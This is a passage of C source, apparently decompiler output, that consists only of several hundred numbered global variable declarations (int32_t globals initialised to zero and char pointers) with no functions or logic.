int32_t g218 = 0;
int32_t g219 = 0;
int32_t g220 = 0;
int32_t g221 = 0;
char * g222;
int32_t g223 = 0;
int32_t g224 = 0;
int32_t g225 = 0;
int32_t g226 = 0;
int32_t g227 = 0;
char * g228;
int32_t g229 = 0;
int32_t g230 = 0;
int32_t g231 = 0;
int32_t g232 = 0;
int32_t g233 = 0;
char * g234;
int32_t g235 = 0;
int32_t g236 = 0;
int32_t g237 = 0;
int32_t g238 = 0;
int32_t g239 = 0;
char * g240;
int32_t g241 = 0;
int32_t g242 = 0;
int32_t g243 = 0;
int32_t g244 = 0;
int32_t g245 = 0;
char * g246;
int32_t g247 = 0;
int32_t g248 = 0;
int32_t g249 = 0;
int32_t g250 = 0;
int32_t g251 = 0;
char * g252;
int32_t g253 = 0;
int32_t g254 = 0;
int32_t g255 = 0;
int32_t g256 = 0;
int32_t g257 = 0;
char * g258;
int32_t g259 = 0;
int32_t g260 = 0;
int32_t g261 = 0;
int32_t g262 = 0;
int32_t g263 = 0;
char * g264;
int32_t g265 = 0;
int32_t g266 = 0;
int32_t g267 = 0;
int32_t g268 = 0;
int32_t g269 = 0;
char * g270;
int32_t g271 = 0;
int32_t g272 = 0;
int32_t g273 = 0;
int32_t g274 = 0;
int32_t g275 = 0;
char * g276;
int32_t g277 = 0;
int32_t g278 = 0;
int32_t g279 = 0;
int32_t g280 = 0;
int32_t g281 = 0;
char * g282;
int32_t g283 = 0;
int32_t g284 = 0;
int32_t g285 = 0;
int32_t g286 = 0;
int32_t g287 = 0;
char * g288;
int32_t g289 = 0;
int32_t g290 = 0;
int32_t g291 = 0;
int32_t g292 = 0;
int32_t g293 = 0;
char * g294;
int32_t g295 = 0;
int32_t g296 = 0;
int32_t g297 = 0;
int32_t g298 = 0;
int32_t g299 = 0;
char * g300;
int32_t g301 = 0;
int32_t g302 = 0;
int32_t g303 = 0;
int32_t g304 = 0;
int32_t g305 = 0;
char * g306;
int32_t g307 = 0;
int32_t g308 = 0;
int32_t g309 = 0;
int32_t g310 = 0;
int32_t g311 = 0;
char * g312;
int32_t g313 = 0;
int32_t g314 = 0;
int32_t g315 = 0;
int32_t g316 = 0;
int32_t g317 = 0;
char * g318;
int32_t g319 = 0;
int32_t g320 = 0;
int32_t g321 = 0;
int32_t g322 = 0;
int32_t g323 = 0;
char * g324;
int32_t g325 = 0;
int32_t g326 = 0;
int32_t g327 = 0;
int32_t g328 = 0;
int32_t g329 = 0;
char * g330;
int32_t g331 = 0;
int32_t g332 = 0;
int32_t g333 = 0;
int32_t g334 = 0;
int32_t g335 = 0;
char * g336;
int32_t g337 = 0;
int32_t g338 = 0;
int32_t g339 = 0;
int32_t g340 = 0;
int32_t g341 = 0;
char * g342;
int32_t g343 = 0;
int32_t g344 = 0;
int32_t g345 = 0;
int32_t g346 = 0;
int32_t g347 = 0;
char * g348;
int32_t g349 = 0;
int32_t g350 = 0;
int32_t g351 = 0;
int32_t g352 = 0;
int32_t g353 = 0;
char * g354;
int32_t g355 = 0;
int32_t g356 = 0;
int32_t g357 = 0;
int32_t g358 = 0;
int32_t g359 = 0;
char * g360;
int32_t g361 = 0;
int32_t g362 = 0;
int32_t g363 = 0;
int32_t g364 = 0;
int32_t g365 = 0;
char * g366;
int32_t g367 = 0;
int32_t g368 = 0;
int32_t g369 = 0;
int32_t g370 = 0;
int32_t g371 = 0;
char * g372;
int32_t g373 = 0;
int32_t g374 = 0;
int32_t g375 = 0;
int32_t g376 = 0;
int32_t g377 = 0;
char * g378;
int32_t g379 = 0;
int32_t g380 = 0;
int32_t g381 = 0;
int32_t g382 = 0;
int32_t g383 = 0;
char * g384;
int32_t g385 = 0;
int32_t g386 = 0;
int32_t g387 = 0;
int32_t g388 = 0;
int32_t g389 = 0;
char * g390;
int32_t g391 = 0;
int32_t g392 = 0;
int32_t g393 = 0;
int32_t g394 = 0;
int32_t g395 = 0;
char * g396;
int32_t g397 = 0;
int32_t g398 = 0;
int32_t g399 = 0;
int32_t g400 = 0;
int32_t g401 = 0;
char * g402;
int32_t g403 = 0;
int32_t g404 = 0;
int32_t g405 = 0;
int32_t g406 = 0;
int32_t g407 = 0;
char * g408;
int32_t g409 = 0;
int32_t g410 = 0;
int32_t g411 = 0;
int32_t g412 = 0;
int32_t g413 = 0;
char * g414;
int32_t g415 = 0;
int32_t g416 = 0;
int32_t g417 = 0;
int32_t g418 = 0;
int32_t g419 = 0;
char * g420;
int32_t g421 = 0;
int32_t g422 = 0;
int32_t g423 = 0;
int32_t g424 = 0;
int32_t g425 = 0;
char * g426;
int32_t g427 = 0;
int32_t g428 = 0;
int32_t g429 = 0;
int32_t g430 = 0;
int32_t g431 = 0;
int32_t g432 = 0;
int32_t g433 = 0;
int32_t g434 = 0;
int32_t g435 = 0;
int32_t g436 = 0;
int32_t g437 = 0;
int32_t g438 = 0;
int32_t g439 = 0;
char * g440;
int32_t g441 = 0;
int32_t g442 = 0;
int32_t g443 = 0;
int32_t g444 = 0;
int32_t g445 = 0;
int32_t g446 = 0;
int32_t g447 = 0;
int32_t g448 = 0;
int32_t g449 = 0;
char * g450;
int32_t g451 = 0;
int32_t g452 = 0;
int32_t g453 = 0;
int32_t g454 = 0;
int32_t g455 = 0;
int32_t g456 = 0;
int32_t g457 = 0;
int32_t g458 = 0;
int32_t g459 = 0;
int32_t g460 = 0;
int32_t g461 = 0;
int32_t g462 = 0;
int32_t g463 = 0;
int32_t g464 = 0;
int32_t g465 = 0;
int32_t g466 = 0;
int32_t g467 = 0;
int32_t g468 = 0;
int32_t g469 = 0;
int32_t g470 = 0;
int32_t g471 = 0;
int32_t g472 = 0;
int32_t g473 = 0;
int32_t g474 = 0;
int32_t g475 = 0;
int32_t g476 = 0;
int32_t g477 = 0;
int32_t g478 = 0;
int32_t g479 = 0;
int32_t g480 = 0;
int32_t g481 = 0;
int32_t g482 = 0;
int32_t g483 = 0;
int32_t g484 = 0;
int32_t g485 = 0;
int32_t g486 = 0;
int32_t g487 = 0;
int32_t g488 = 0;
int32_t g489 = 0;
int32_t g490 = 0;
int32_t g491 = 0;
int32_t g492 = 0;
int32_t g493 = 0;
int32_t g494 = 0;
int32_t g495 = 0;
int32_t g496 = 0;
int32_t g497 = 0;
int32_t g498 = 0;
int32_t g499 = 0;
int32_t g500 = 0;
int32_t g501 = 0;
int32_t g502 = 0;
int32_t g503 = 0;
int32_t g504 = 0;
int32_t g505 = 0;
int32_t g506 = 0;
int32_t g507 = 0;
int32_t g508 = 0;
int32_t g509 = 0;
int32_t g510 = 0;
int32_t g511 = 0;
int32_t g512 = 0;
int32_t g513 = 0;
int32_t g514 = 0;
int32_t g515 = 0;
int32_t g516 = 0;
int32_t g517 = 0;
int32_t g518 = 0;
int32_t g519 = 0;
int32_t g520 = 0;
int32_t g521 = 0;
int32_t g522 = 0;
int32_t g523 = 0;
int32_t g524 = 0;
int32_t g525 = 0;
int32_t g526 = 0;
int32_t g527 = 0;
int32_t g528 = 0;
int32_t g529 = 0;
int32_t g530 = 0;
int32_t g531 = 0;
int32_t g532 = 0;
int32_t g533 = 0;
int32_t g534 = 0;
int32_t g535 = 0;
int32_t g536 = 0;
int32_t g537 = 0;
int32_t g538 = 0;
int32_t g539 = 0;
int32_t g540 = 0;
int32_t g541 = 0;
int32_t g542 = 0;
int32_t g543 = 0;
int32_t g544 = 0;
int32_t g545 = 0;
int32_t g546 = 0;
int32_t g547 = 0;
int32_t g548 = 0;
int32_t g549 = 0;
int32_t g550 = 0;
int32_t g551 = 0;
int32_t g552 = 0;
int32_t g553 = 0;
int32_t g554 = 0;
int32_t g555 = 0;
int32_t g556 = 0;
int32_t g557 = 0;
int32_t g558 = 0;
int32_t g559 = 0;
int32_t g560 = 0;
int32_t g561 = 0;
int32_t g562 = 0;
int32_t g563 = 0;
int32_t g564 = 0;
int32_t g565 = 0;
int32_t g566 = 0;
int32_t g567 = 0;
int32_t g568 = 0;
int32_t g569 = 0;
int32_t g570 = 0;
int32_t g571 = 0;
int32_t g572 = 0;
int32_t g573 = 0;
int32_t g574 = 0;
int32_t g575 = 0;
int32_t g576 = 0;
int32_t g577 = 0;
int32_t g578 = 0;
int32_t g579 = 0;
int32_t g580 = 0;
int32_t g581 = 0;
int32_t g582 = 0;
int32_t g583 = 0;
int32_t g584 = 0;
int32_t g585 = 0;
int32_t g586 = 0;
int32_t g587 = 0;
int32_t g588 = 0;
int32_t g589 = 0;
int32_t g590 = 0;
int32_t g591 = 0;
int32_t g592 = 0;
int32_t g593 = 0;
int32_t g594 = 0;
int32_t g595 = 0;
int32_t g596 = 0;
int32_t g597 = 0;
int32_t g598 = 0;
int32_t g599 = 0;
int32_t g600 = 0;
int32_t g601 = 0;
int32_t g602 = 0;
int32_t g603 = 0;
int32_t g604 = 0;
int32_t g605 = 0;
int32_t g606 = 0;
int32_t g607 = 0;
char * g608;
int32_t g609 = 0;
int32_t g610 = 0;
int32_t g611 = 0;
int32_t g612 = 0;
int32_t g613 = 0;
int32_t g614 = 0;
int32_t g615 = 0;
int32_t g616 = 0;
int32_t g617 = 0;
int32_t g618 = 0;
char * g619;
int32_t g620 = 0;
int32_t g621 = 0;
int32_t g622 = 0;
int32_t g623 = 0;
int32_t g624 = 0;
int32_t g625 = 0;
int32_t g626 = 0;
int32_t g627 = 0;
int32_t g628 = 0;
int32_t g629 = 0;
int32_t g630 = 0;
int32_t g631 = 0;
int32_t g632 = 0;
int32_t g633 = 0;
int32_t g634 = 0;
int32_t g635 = 0;
int32_t g636 = 0;
int32_t g637 = 0;
int32_t g638 = 0;
int32_t g639 = 0;
int32_t g640 = 0;
int32_t g641 = 0;
int32_t g642 = 0;
int32_t g643 = 0;
int32_t g644 = 0;
int32_t g645 = 0;
int32_t g646 = 0;
int32_t g647 = 0;
int32_t g648 = 0;
int32_t g649 = 0;
int32_t g650 = 0;
int32_t g651 = 0;
int32_t g652 = 0;
int32_t g653 = 0;
int32_t g654 = 0;
int32_t g655 = 0;
int32_t g656 = 0;
int32_t g657 = 0;
int32_t g658 = 0;
int32_t g659 = 0;
int32_t g660 = 0;
int32_t g661 = 0;
int32_t g662 = 0;
int32_t g663 = 0;
int32_t g664 = 0;
int32_t g665 = 0;
int32_t g666 = 0;
int32_t g667 = 0;
int32_t g668 = 0;
int32_t g669 = 0;
int32_t g670 = 0;
int32_t g671 = 0;
int32_t g672 = 0;
int32_t g673 = 0;
int32_t g674 = 0;
int32_t g675 = 0;
int32_t g676 = 0;
int32_t g677 = 0;
int32_t g678 = 0;
int32_t g679 = 0;
int32_t g680 = 0;
int32_t g681 = 0;
int32_t g682 = 0;
int32_t g683 = 0;
int32_t g684 = 0;
int32_t g685 = 0;
int32_t g686 = 0;
int32_t g687 = 0;
int32_t g688 = 0;
int32_t g689 = 0;
int32_t g690 = 0;
int32_t g691 = 0;
char * g692;
int32_t g693 = 0;
int32_t g694 = 0;
int32_t g695 = 0;
int32_t g696 = 0;
int32_t g697 = 0;
int32_t g698 = 0;